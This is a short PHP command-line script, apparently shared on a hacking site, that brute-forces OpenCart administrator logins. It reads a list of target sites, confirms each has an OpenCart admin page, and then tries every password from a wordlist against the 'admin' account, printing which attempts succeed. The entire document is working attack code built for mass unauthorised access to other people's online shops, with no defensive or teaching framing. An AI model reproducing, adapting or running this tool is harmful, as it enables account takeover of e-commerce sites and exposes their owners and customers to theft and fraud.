Open Cart Brute Force (CLI Version PHP)

<?php
Class PakHaxor{
//create by pak haxor
//--------function---------//
public function curl($url,$post = false)
{
$curl = curl_init($url);
if($post !== false)
{
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl,CURLOPT_POST,1);
}
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($curl,CURLOPT_COOKIEJAR,  'cookie.txt');
curl_setopt($curl, CURLOPT_COOKIESESSION, true);
$data = curl_exec($curl);
return $data;
}

public function revup($site)
{
$valid = file_get_contents($site."/admin/index.php?route=common/login");
if(eregi("username",$valid))
{
$passlist ="pass.txt";
$pass=file($passlist);
foreach ($pass as $password){
$password=str_replace("\r","",$password);
$password=str_replace("\n","",$password);
$post = "username=admin&password=".$password;
$curl = $this->curl("$site"."/admin/index.php?route=common/login",$post);
if(eregi("and/",$curl))
{
echo $site."/admin/index.php?route=common/login User : admin "."Password : ".$password." Failed Login\n";
}
else
{
echo $site."/admin/index.php?route=common/login User : admin "."Password : ".$password." Success Login\n";
break;
}
}
}
else
{
    echo $site."/admin/index.php?route=common/login Admin Tidak Ditemukan/Bukan Open Cart "."\n";
}


}
//-------------------------//
}
$brute = new PakHaxor();
error_reporting(0);
set_time_limit(0);
$sitelist ="list.txt";
$get=file($sitelist);
foreach ($get as $urls){
$urls=str_replace("\r","",$urls);
$urls=str_replace("\n","",$urls);
echo "[+] Scaning : $urls \n";
$brute->revup($urls);
}